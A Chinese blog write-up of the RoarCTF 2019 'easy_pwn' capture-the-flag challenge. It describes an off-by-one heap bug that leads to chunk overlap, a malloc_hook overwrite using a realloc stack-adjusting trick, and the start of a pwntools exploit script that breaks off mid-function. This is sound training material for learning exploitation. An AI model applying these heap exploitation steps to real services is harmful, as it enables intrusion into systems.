【pwn】roarctf_2019_easy_pwn

最新推荐文章于 2024-02-03 02:09:42 发布

原创

最新推荐文章于 2024-02-03 02:09:42 发布 · 2.2k 阅读

1 ·

CC 4.0 BY-SA版权

该博客主要探讨了RoarCTF 2019中的一道名为Easy Pwn的题目。文章指出，在保护全开的情况下，通过一个off-by-one漏洞，可以实现内存重叠。由于栈条件限制，onegadget无法使用，作者建议利用realloc技巧来调整栈，以达到控制malloc_hook的目的。内容参考了堆的六种利用手法。

例行检查
在这里插入图片描述保护全开，分析程序。

当edit大小比申请大小多10的时候可以多输入一字节，存在off-by-one。修改size来进行overlap。需要注意的是最后覆盖malloc_hook时，onegadget都不可用，应为栈条件不满足，可以利用realloc的trick来调整栈。
参考：堆的六种利用手法

from pwn import *

io=remote('xx.xx.xx.xx',xxxx)
libc=ELF('./libc-2.23.so')

def add(size):
    io.recvuntil('choice: ')
    io.sendline('1')
    io.recvuntil('size:')
    io.sendline(str(size))

def edit(index,size,data):
    io.recvuntil('choice: ')
    io.sendline('2'